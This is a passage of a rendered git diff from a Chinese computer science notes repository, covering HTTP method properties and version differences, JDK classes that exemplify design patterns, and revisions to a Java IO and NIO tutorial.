Host: w3schools.com
|
||||
name1=value1&name2=value2
|
||||
```
|
||||
|
||||
## 安全
|
||||
|
||||
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
||||
|
||||
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
|
||||
|
||||
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
||||
|
||||
不安全的方法除了 POST 之外还有 PUT、DELETE。
|
||||
|
||||
## 幂等性
|
||||
|
||||
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
||||
|
||||
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
||||
|
||||
```
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
```
|
||||
|
||||
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
|
||||
|
||||
```
|
||||
POST /add_row HTTP/1.1
|
||||
POST /add_row HTTP/1.1 -> Adds a 2nd row
|
||||
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
||||
```
|
||||
|
||||
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
|
||||
|
||||
```
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||
```
|
||||
|
||||
## 可缓存
|
||||
|
||||
如果要对响应进行缓存,需要满足以下条件:
|
||||
|
||||
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
||||
2. 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
||||
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
||||
|
||||
## XMLHttpRequest
|
||||
|
||||
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest:
|
||||
|
||||
> XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
|
||||
|
||||
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。
|
||||
|
||||
# 九、各版本比较
|
||||
|
||||
## HTTP/1.0 与 HTTP/1.1 的区别
|
||||
|
||||
1. HTTP/1.1 默认是持久连接
|
||||
2. HTTP/1.1 支持管线化处理
|
||||
3. HTTP/1.1 支持虚拟主机
|
||||
4. HTTP/1.1 新增状态码 100
|
||||
5. HTTP/1.1 支持分块传输编码
|
||||
6. HTTP/1.1 新增缓存处理指令 max-age
|
||||
|
||||
具体内容见上文
|
||||
|
||||
## HTTP/1.1 与 HTTP/2.0 的区别
|
||||
|
||||
### 1. 多路复用
|
||||
|
||||
HTTP/2.0 使用多路复用技术,使用同一个 TCP 连接来处理多个请求。
|
||||
|
||||
### 2. 首部压缩
|
||||
|
||||
HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。HTTP/2.0 要求通讯双方各自缓存一份首部字段表,从而避免了重复传输。
|
||||
|
||||
### 3. 服务端推送
|
||||
|
||||
在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 index.html 页面,服务端就把 index.js 一起发给客户端。
|
||||
|
||||
### 4. 二进制格式
|
||||
|
||||
HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
|
||||
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
|
||||
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
|
||||
- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
|
||||
- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
|
||||
- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
|
||||
- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
|
||||
- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
|
||||
- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
|
||||
- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
|
||||
- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
|
||||
- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
|
||||
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
|
||||
- [维基百科:SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
|
||||
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
|
||||
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
||||
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
||||
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
||||
- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
|
||||
|
283
notes/JDK 中的设计模式.md
Normal file
@ -0,0 +1,283 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、创建型](#一创建型)
|
||||
* [1. 单例模式](#1-单例模式)
|
||||
* [2. 简单工厂模式](#2-简单工厂模式)
|
||||
* [3. 工厂方法模式](#3-工厂方法模式)
|
||||
* [4. 抽象工厂](#4-抽象工厂)
|
||||
* [5. 生成器模式](#5-生成器模式)
|
||||
* [6. 原型模式](#6-原型模式)
|
||||
* [二、行为型](#二行为型)
|
||||
* [1. 责任链](#1-责任链)
|
||||
* [2. 命令模式](#2-命令模式)
|
||||
* [3. 解释器模式](#3-解释器模式)
|
||||
* [4. 迭代器](#4-迭代器)
|
||||
* [5. 中间人模式](#5-中间人模式)
|
||||
* [6. 备忘录模式](#6-备忘录模式)
|
||||
* [7. 观察者模式](#7-观察者模式)
|
||||
* [8. 策略模式](#8-策略模式)
|
||||
* [9. 模板方法](#9-模板方法)
|
||||
* [10. 访问者模式](#10-访问者模式)
|
||||
* [11. 空对象模式](#11-空对象模式)
|
||||
* [三、结构型](#三结构型)
|
||||
* [1. 适配器](#1-适配器)
|
||||
* [2. 桥接模式](#2-桥接模式)
|
||||
* [3. 组合模式](#3-组合模式)
|
||||
* [4. 装饰者模式](#4-装饰者模式)
|
||||
* [5. 蝇量模式](#5-蝇量模式)
|
||||
* [6. 动态代理](#6-动态代理)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、创建型
|
||||
|
||||
## 1. 单例模式
|
||||
|
||||
确保只实例化一个对象,并提供一个对象的全局访问点。
|
||||
|
||||
```java
|
||||
java.lang.Runtime#getRuntime()
|
||||
java.awt.Toolkit#getDefaultToolkit()
|
||||
java.awt.GraphicsEnvironment#getLocalGraphicsEnvironment()
|
||||
java.awt.Desktop#getDesktop()
|
||||
```
|
||||
|
||||
## 2. 简单工厂模式
|
||||
|
||||
在不对用户暴露对象内部逻辑的前提下创建对象。
|
||||
|
||||
## 3. 工厂方法模式
|
||||
|
||||
定义创建对象的接口,但是让子类来决定应该使用哪个类来创建。
|
||||
|
||||
```java
|
||||
java.lang.Proxy#newProxyInstance()
|
||||
java.lang.Object#toString()
|
||||
java.lang.Class#newInstance()
|
||||
java.lang.reflect.Array#newInstance()
|
||||
java.lang.reflect.Constructor#newInstance()
|
||||
java.lang.Boolean#valueOf(String)
|
||||
java.lang.Class#forName()
|
||||
```
|
||||
|
||||
## 4. 抽象工厂
|
||||
|
||||
提供一个创建相关对象家族的接口,而没有明确指明它们的类。
|
||||
|
||||
```java
|
||||
java.util.Calendar#getInstance()
|
||||
java.util.Arrays#asList()
|
||||
java.util.ResourceBundle#getBundle()
|
||||
java.sql.DriverManager#getConnection()
|
||||
java.sql.Connection#createStatement()
|
||||
java.sql.Statement#executeQuery()
|
||||
java.text.NumberFormat#getInstance()
|
||||
javax.xml.transform.TransformerFactory#newInstance()
|
||||
```
|
||||
|
||||
## 5. 生成器模式
|
||||
|
||||
定义一个新的类来构造另一个类的实例,以创建一个复杂的对象。
|
||||
|
||||
它可以封装一个对象的构造过程,并允许按步骤构造。
|
||||
|
||||
```java
|
||||
java.lang.StringBuilder#append()
|
||||
java.lang.StringBuffer#append()
|
||||
java.sql.PreparedStatement
|
||||
javax.swing.GroupLayout.Group#addComponent()
|
||||
```
|
||||
|
||||
## 6. 原型模式
|
||||
|
||||
使用原型实例指定要创建对象的类型;通过复制这个原型来创建新对象。
|
||||
|
||||
```java
|
||||
java.lang.Object#clone()
|
||||
java.lang.Cloneable
|
||||
```
|
||||
|
||||
# 二、行为型
|
||||
|
||||
## 1. 责任链
|
||||
|
||||
避免将请求的发送者附加到其接收者,从而使其它对象也可以处理请求;将请求以对象的方式发送到链上直到请求被处理完毕。
|
||||
|
||||
```java
|
||||
java.util.logging.Logger#log()
|
||||
javax.servlet.Filter#doFilter()
|
||||
```
|
||||
|
||||
## 2. 命令模式
|
||||
|
||||
将命令封装进对象中;允许使用命令对象对客户对象进行参数化;允许将命令对象存放到队列中。
|
||||
|
||||
```java
|
||||
java.lang.Runnable
|
||||
javax.swing.Action
|
||||
```
|
||||
|
||||
## 3. 解释器模式
|
||||
|
||||
为语言创建解释器,通常由语言的语法和语法分析来定义。
|
||||
|
||||
```java
|
||||
java.util.Pattern
|
||||
java.text.Normalizer
|
||||
java.text.Format
|
||||
```
|
||||
|
||||
## 4. 迭代器
|
||||
|
||||
提供一种一致的访问聚合对象元素的方法,并且不暴露聚合对象的内部表示。
|
||||
|
||||
```java
|
||||
java.util.Iterator
|
||||
java.util.Enumeration
|
||||
```
|
||||
|
||||
## 5. 中间人模式
|
||||
|
||||
使用中间人对象来封装对象之间的交互。中间人模式可以让降低交互对象之间的耦合程度。
|
||||
|
||||
```java
|
||||
java.util.Timer
|
||||
java.util.concurrent.Executor#execute()
|
||||
java.util.concurrent.ExecutorService#submit()
|
||||
java.lang.reflect.Method#invoke()
|
||||
```
|
||||
|
||||
## 6. 备忘录模式
|
||||
|
||||
在不违反封装的情况下获得对象的内部状态,从而在需要时可以将对象恢复到最初状态。
|
||||
|
||||
```java
|
||||
java.util.Date
|
||||
java.io.Serializable
|
||||
```
|
||||
|
||||
## 7. 观察者模式
|
||||
|
||||
定义对象之间的一对多依赖,当一个对象状态改变时,它的所有依赖都会收到通知并且自动更新状态。
|
||||
|
||||
```java
|
||||
java.util.EventListener
|
||||
javax.servlet.http.HttpSessionBindingListener
|
||||
javax.servlet.http.HttpSessionAttributeListener
|
||||
javax.faces.event.PhaseListener
|
||||
```
|
||||
|
||||
## 8. 策略模式
|
||||
|
||||
定义一系列算法,封装每个算法,并使它们可以互换。策略可以让算法独立于使用它的客户端。
|
||||
|
||||
```java
|
||||
java.util.Comparator#compare()
|
||||
javax.servlet.http.HttpServlet
|
||||
javax.servlet.Filter#doFilter()
|
||||
```
|
||||
|
||||
## 9. 模板方法
|
||||
|
||||
定义算法框架,并将一些步骤的实现延迟到子类。通过模板方法,子类可以重新定义算法的某些步骤,而不用改变算法的结构。
|
||||
|
||||
```java
|
||||
java.util.Collections#sort()
|
||||
java.io.InputStream#skip()
|
||||
java.io.InputStream#read()
|
||||
java.util.AbstractList#indexOf()
|
||||
```
|
||||
|
||||
## 10. 访问者模式
|
||||
|
||||
提供便捷的维护方式来操作一组对象。它使你在不改变操作对象的前提下,可以修改或扩展对象的行为。
|
||||
|
||||
例如集合,它可以包含不同类型的元素,访问者模式允许在不知道具体元素类型的前提下对集合元素进行一些操作。
|
||||
|
||||
```java
|
||||
javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
|
||||
javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
|
||||
```
|
||||
|
||||
## 11. 空对象模式
|
||||
|
||||
使用什么都不做的空对象来替代 NULL。
|
||||
|
||||
# 三、结构型
|
||||
|
||||
## 1. 适配器
|
||||
|
||||
把一个类接口转换成另一个用户需要的接口。
|
||||
|
||||
```java
|
||||
java.util.Arrays#asList()
|
||||
javax.swing.JTable(TableModel)
|
||||
java.io.InputStreamReader(InputStream)
|
||||
java.io.OutputStreamWriter(OutputStream)
|
||||
javax.xml.bind.annotation.adapters.XmlAdapter#marshal()
|
||||
javax.xml.bind.annotation.adapters.XmlAdapter#unmarshal()
|
||||
```
|
||||
|
||||
## 2. 桥接模式
|
||||
|
||||
将抽象与实现分离开来,使它们可以独立变化。
|
||||
|
||||
```java
|
||||
AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
|
||||
JDBC
|
||||
```
|
||||
|
||||
## 3. 组合模式
|
||||
|
||||
将对象组合成树形结构来表示整体-部分层次关系,允许用户以相同的方式处理单独对象和组合对象。
|
||||
|
||||
```java
|
||||
javax.swing.JComponent#add(Component)
|
||||
java.awt.Container#add(Component)
|
||||
java.util.Map#putAll(Map)
|
||||
java.util.List#addAll(Collection)
|
||||
java.util.Set#addAll(Collection)
|
||||
```
|
||||
|
||||
## 4. 装饰者模式
|
||||
|
||||
为对象动态添加功能。
|
||||
|
||||
```java
|
||||
java.io.BufferedInputStream(InputStream)
|
||||
java.io.DataInputStream(InputStream)
|
||||
java.io.BufferedOutputStream(OutputStream)
|
||||
java.util.zip.ZipOutputStream(OutputStream)
|
||||
java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
|
||||
```
|
||||
|
||||
## 5. 蝇量模式
|
||||
|
||||
利用共享的方式来支持大量的对象,这些对象一部分内部状态是相同的,而另一份状态可以变化。
|
||||
|
||||
Java 利用缓存来加速大量小对象的访问时间。
|
||||
|
||||
```java
|
||||
java.lang.Integer#valueOf(int)
|
||||
java.lang.Boolean#valueOf(boolean)
|
||||
java.lang.Byte#valueOf(byte)
|
||||
java.lang.Character#valueOf(char)
|
||||
```
|
||||
|
||||
## 6. 动态代理
|
||||
|
||||
提供一个占位符来控制对象的访问。
|
||||
|
||||
代理可以是一些轻量级的对象,它控制着对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
|
||||
|
||||
```java
|
||||
java.lang.reflect.Proxy
|
||||
RMI
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
|
||||
- [Design Patterns](http://www.oodesign.com/)
|
||||
|
||||
|
251
notes/Java IO.md
@ -1,56 +1,48 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [概览](#概览)
|
||||
* [磁盘操作](#磁盘操作)
|
||||
* [字节操作](#字节操作)
|
||||
* [字符操作](#字符操作)
|
||||
* [对象操作](#对象操作)
|
||||
* [网络操作](#网络操作)
|
||||
* [1. InetAddress](#1-inetaddress)
|
||||
* [2. URL](#2-url)
|
||||
* [3. Sockets](#3-sockets)
|
||||
* [4. Datagram](#4-datagram)
|
||||
* [NIO](#nio)
|
||||
* [1. 流与块](#1-流与块)
|
||||
* [2. 通道与缓冲区](#2-通道与缓冲区)
|
||||
* [2.1 通道](#21-通道)
|
||||
* [2.2 缓冲区](#22-缓冲区)
|
||||
* [3. 缓冲区状态变量](#3-缓冲区状态变量)
|
||||
* [4. 读写文件实例](#4-读写文件实例)
|
||||
* [5. 阻塞与非阻塞](#5-阻塞与非阻塞)
|
||||
* [5.1 阻塞式 I/O](#51-阻塞式-io)
|
||||
* [5.2 非阻塞式 I/O](#52-非阻塞式-io)
|
||||
* [6. 套接字实例](#6-套接字实例)
|
||||
* [6.1 ServerSocketChannel](#61-serversocketchannel)
|
||||
* [6.2 Selectors](#62-selectors)
|
||||
* [6.3 主循环](#63-主循环)
|
||||
* [6.4 监听新连接](#64-监听新连接)
|
||||
* [6.5 接受新的连接](#65-接受新的连接)
|
||||
* [6.6 删除处理过的 SelectionKey](#66-删除处理过的-selectionkey)
|
||||
* [6.7 传入的 I/O](#67-传入的-io)
|
||||
* [参考资料](#参考资料)
|
||||
* [一、概览](#一概览)
|
||||
* [二、磁盘操作](#二磁盘操作)
|
||||
* [三、字节操作](#三字节操作)
|
||||
* [四、字符操作](#四字符操作)
|
||||
* [五、对象操作](#五对象操作)
|
||||
* [六、网络操作](#六网络操作)
|
||||
* [InetAddress](#inetaddress)
|
||||
* [URL](#url)
|
||||
* [Sockets](#sockets)
|
||||
* [Datagram](#datagram)
|
||||
* [七、NIO](#七nio)
|
||||
* [流与块](#流与块)
|
||||
* [通道与缓冲区](#通道与缓冲区)
|
||||
* [缓冲区状态变量](#缓冲区状态变量)
|
||||
* [文件 NIO 实例](#文件-nio-实例)
|
||||
* [套接字 NIO 实例](#套接字-nio-实例)
|
||||
* [内存映射文件](#内存映射文件)
|
||||
* [对比](#对比)
|
||||
* [八、参考资料](#八参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 概览
|
||||
# 一、概览
|
||||
|
||||
Java 的 I/O 大概可以分成以下几类
|
||||
Java 的 I/O 大概可以分成以下几类:
|
||||
|
||||
1. 磁盘操作:File
|
||||
2. 字节操作:InputStream 和 OutputStream
|
||||
3. 字符操作:Reader 和 Writer
|
||||
4. 对象操作:Serializable
|
||||
5. 网络操作:Socket
|
||||
6. 非阻塞式 IO:NIO
|
||||
6. 新的输入/输出:NIO
|
||||
|
||||
# 磁盘操作
|
||||
# 二、磁盘操作
|
||||
|
||||
File 类可以用于表示文件和目录,但是它只用于表示文件的信息,而不表示文件的内容。
|
||||
|
||||
# 字节操作
|
||||
# 三、字节操作
|
||||
|
||||
<div align="center"> <img src="../pics//8143787f-12eb-46ea-9bc3-c66d22d35285.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br>
|
||||
|
||||
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,InputStream 是抽象组件,FileInputStream 是 InputStream 的子类,属于具体组件,提供了字节流的输入操作。FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能,例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
|
||||
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,InputStream 是抽象组件,FileInputStream 是 InputStream 的子类,属于具体组件,提供了字节流的输入操作。FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能,例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
|
||||
|
||||
实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
|
||||
|
||||
```java
|
||||
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
|
||||
@ -58,7 +50,7 @@ BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
|
||||
|
||||
DataInputStream 装饰者提供了对更多数据类型进行输入的操作,比如 int、double 等基本类型。
|
||||
|
||||
批量读入文件中的内容到字节数组中
|
||||
批量读入文件内容到字节数组:
|
||||
|
||||
```java
|
||||
byte[] buf = new byte[20*1024];
|
||||
@ -69,11 +61,11 @@ while((bytes = in.read(buf, 0 , buf.length)) != -1) {
|
||||
}
|
||||
```
|
||||
|
||||
# 字符操作
|
||||
# 四、字符操作
|
||||
|
||||
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符,所以 I/O 操作的都是字节而不是字符。但是在程序中操作的数据通常是字符形式,因此需要提供对字符进行操作的方法。
|
||||
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符,所以 I/O 操作的都是字节而不是字符。但是在程序中操作的通常是字符形式的数据,因此需要提供对字符进行操作的方法。
|
||||
|
||||
InputStreamReader 实现从文本文件的字节流解码成字符流;OutputStreamWriter 实现字符流编码成为文本文件的字节流。它们都继承自 Reader 和 Writer。
|
||||
InputStreamReader 实现从文本文件的字节流解码成字符流;OutputStreamWriter 实现字符流编码成为文本文件的字节流。它们继承自 Reader 和 Writer。
|
||||
|
||||
编码就是把字符转换为字节,而解码是把字节重新组合成字符。
|
||||
|
||||
@ -86,7 +78,7 @@ GBK 编码中,中文占 2 个字节,英文占 1 个字节;UTF-8 编码中
|
||||
|
||||
如果编码和解码过程使用不同的编码方式那么就出现了乱码。
|
||||
|
||||
# 对象操作
|
||||
# 五、对象操作
|
||||
|
||||
序列化就是将一个对象转换成字节序列,方便存储和传输。
|
||||
|
||||
@ -100,11 +92,11 @@ transient 关键字可以使一些属性不会被序列化。
|
||||
|
||||
**ArrayList 序列化和反序列化的实现** :ArrayList 中存储数据的数组是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。
|
||||
|
||||
```
|
||||
```java
|
||||
private transient Object[] elementData;
|
||||
```
|
||||
|
||||
# 网络操作
|
||||
# 六、网络操作
|
||||
|
||||
Java 中的网络支持:
|
||||
|
||||
@ -113,18 +105,23 @@ Java 中的网络支持:
|
||||
3. Sockets:使用 TCP 协议实现网络通信;
|
||||
4. Datagram:使用 UDP 协议实现网络通信。
|
||||
|
||||
## 1. InetAddress
|
||||
## InetAddress
|
||||
|
||||
没有公有构造函数,只能通过静态方法来创建实例,比如 InetAddress.getByName(String host)、InetAddress.getByAddress(byte[] addr)。
|
||||
没有公有构造函数,只能通过静态方法来创建实例。
|
||||
|
||||
## 2. URL
|
||||
```java
|
||||
InetAddress.getByName(String host);
|
||||
InetAddress.getByAddress(byte[] addr);
|
||||
```
|
||||
|
||||
## URL
|
||||
|
||||
可以直接从 URL 中读取字节流数据
|
||||
|
||||
```java
|
||||
URL url = new URL("http://www.baidu.com");
|
||||
InputStream is = url.openStream(); // 字节流
|
||||
InputStreamReader isr = new InputStreamReader(is, "utf-8"); // 字符流
|
||||
InputStream is = url.openStream(); // 字节流
|
||||
InputStreamReader isr = new InputStreamReader(is, "utf-8"); // 字符流
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String line = br.readLine();
|
||||
while (line != null) {
|
||||
@ -136,43 +133,40 @@ isr.close();
|
||||
is.close();
|
||||
```
|
||||
|
||||
## 3. Sockets
|
||||
|
||||
Socket 通信模型
|
||||
|
||||
<div align="center"> <img src="../pics//fa4101d7-19ce-4a69-a84f-20bbe64320e5.jpg"/> </div><br>
|
||||
## Sockets
|
||||
|
||||
- ServerSocket:服务器端类
|
||||
- Socket:客户端类
|
||||
- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
|
||||
|
||||
服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
|
||||
<div align="center"> <img src="../pics//ClienteServidorSockets1521731145260.jpg"/> </div><br>
|
||||
|
||||
## 4. Datagram
|
||||
## Datagram
|
||||
|
||||
- DatagramPacket:数据包类
|
||||
- DatagramSocket:通信类
|
||||
|
||||
# NIO
|
||||
# 七、NIO
|
||||
|
||||
NIO 将最耗时的 I/O 操作 ( 即填充和提取缓冲区 ) 转移回操作系统,因而 不需要程序员去控制就可以极大地提高运行速度。
|
||||
新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的。NIO 弥补了原来的 I/O 的不足,它在标准 Java 代码中提供了高速的、面向块的 I/O。
|
||||
|
||||
## 1. 流与块
|
||||
## 流与块
|
||||
|
||||
I/O 与 NIO 最重要的区别是数据打包和传输的方式。正如前面提到的,I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。
|
||||
I/O 与 NIO 最重要的区别是数据打包和传输的方式,I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。
|
||||
|
||||
面向流的 I/O 一次一个字节进行处理数据,一个输入流产生一个字节的数据,一个输出流消费一个字节的数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
|
||||
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
|
||||
|
||||
一个面向块的 I/O 系统以块的形式处理数据,每一个操作都在一步中产生或者消费一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||
一个面向块的 I/O 系统以块的形式处理数据,一次处理一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||
|
||||
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如, java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在更面向流的系统中,处理速度也会更快。
|
||||
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如,java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
|
||||
|
||||
## 2. 通道与缓冲区
|
||||
## 通道与缓冲区
|
||||
|
||||
### 2.1 通道
|
||||
### 1. 通道
|
||||
|
||||
通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。
|
||||
|
||||
通道与流的不同之处在于,流只能在一个方向上移动,(一个流必须是 InputStream 或者 OutputStream 的子类), 而通道是双向的,可以用于读、写或者同时用于读写。
|
||||
通道与流的不同之处在于,流只能在一个方向上移动,(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。
|
||||
|
||||
通道包括以下类型:
|
||||
|
||||
@ -181,9 +175,9 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||
- SocketChannel:通过 TCP 读写网络中数据;
|
||||
- ServerSocketChannel:可以监听新进来的 TCP 连接,对每一个新进来的连接都会创建一个 SocketChannel。
|
||||
|
||||
### 2.2 缓冲区
|
||||
### 2. 缓冲区
|
||||
|
||||
发送给一个通道的所有对象都必须首先放到缓冲区中;同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是先经过缓冲区。
|
||||
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
||||
|
||||
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
|
||||
|
||||
@ -197,51 +191,50 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||
- FloatBuffer
|
||||
- DoubleBuffer
|
||||
|
||||
|
||||
## 3. 缓冲区状态变量
|
||||
## 缓冲区状态变量
|
||||
|
||||
- capacity:最大容量;
|
||||
- position:当前已经读写的字节数;
|
||||
- limit:还可以读写的字节数。
|
||||
|
||||
状态变量的改变过程:
|
||||
状态变量的改变过程举例:
|
||||
|
||||
1\. 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit == capacity == 9。capacity 变量不会改变,下面的讨论会忽略它。
|
||||
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
|
||||
|
||||
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
|
||||
|
||||
2\. 从输入通道中读取 3 个字节数据写入缓冲区中,此时 position 移动设为 3,limit 保持不变。
|
||||
② 从输入通道中读取 3 个字节数据写入缓冲区中,此时 position 移动设为 3,limit 保持不变。
|
||||
|
||||
<div align="center"> <img src="../pics//4628274c-25b6-4053-97cf-d1239b44c43d.png"/> </div><br>
|
||||
|
||||
3\. 在将缓冲区的数据写到输出通道之前,需要先调用 flip() 方法,这个方法将 limit 设置为当前 position,并将 position 设置为 0。
|
||||
